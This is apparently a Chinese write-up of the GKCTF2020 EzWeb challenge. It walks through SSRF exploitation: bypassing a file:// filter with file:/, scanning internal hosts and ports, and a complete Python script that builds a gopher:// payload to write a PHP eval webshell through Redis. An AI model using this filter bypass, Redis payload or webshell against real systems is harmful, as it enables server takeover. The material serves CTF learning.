[GKCTF2020]EZ三剑客-EzWeb
ctrl u查源码,里面有个?secret
访问后有一串代码
eth0 Link encap:Ethernet HWaddr 02:42:0a:00:73:09
inet addr:10.0.115.9 Bcast:10.0.115.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:35 errors:0 dropped:0 overruns:0 frame:0
TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:8355 (8.3 KB) TX bytes:4260 (4.2 KB)
eth1 Link encap:Ethernet HWaddr 52:54:00:9b:70:fe
inet addr:10.128.0.41 Bcast:10.128.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1 errors:0 dropped:0 overruns:0 frame:0
TX packets:17 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:42 (42.0 B) TX bytes:1226 (1.2 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1332 (1.3 KB) TX bytes:1332 (1.3 KB)
也不知道是什么东西,烦得很
看师傅的wp是说要在里面找ip地址:10.0.115.9
输入一下 www.baidu.com
初步猜测可能是ssrf
ssrf参考文章
查源码
file:/etc/passwd
读取内网文件(file协议)
ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php
测试了一下,过滤了file://
看wp学习了几种绕过方法
file:/
file:<空格>///
所以
file:/var/www/html/index.php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
过滤了file://|dict|…/|127.0.0.1|localhost/is
没什么用的源码
那还没有过滤的协议还有gopher和http协议,用http协议可进行内网主机存活检测
有关gopher://,Redis SSRF getshell,参考:这篇文章
bp爆破
探测内网主机存活(http/s协议)
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
623是正常的响应,727不正常
所以是10.0.115.11
爆端口(127.0.0.1:8080这里的8080就是端口)
6379端口(redis)
3306端口(mysql)
这里是redis
大神的脚本
import urllib
protocol="gopher://"
ip="10.0.115.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行exp得到一个gopher://
将gopher://
然后访问http://10.0.115.11/shell.php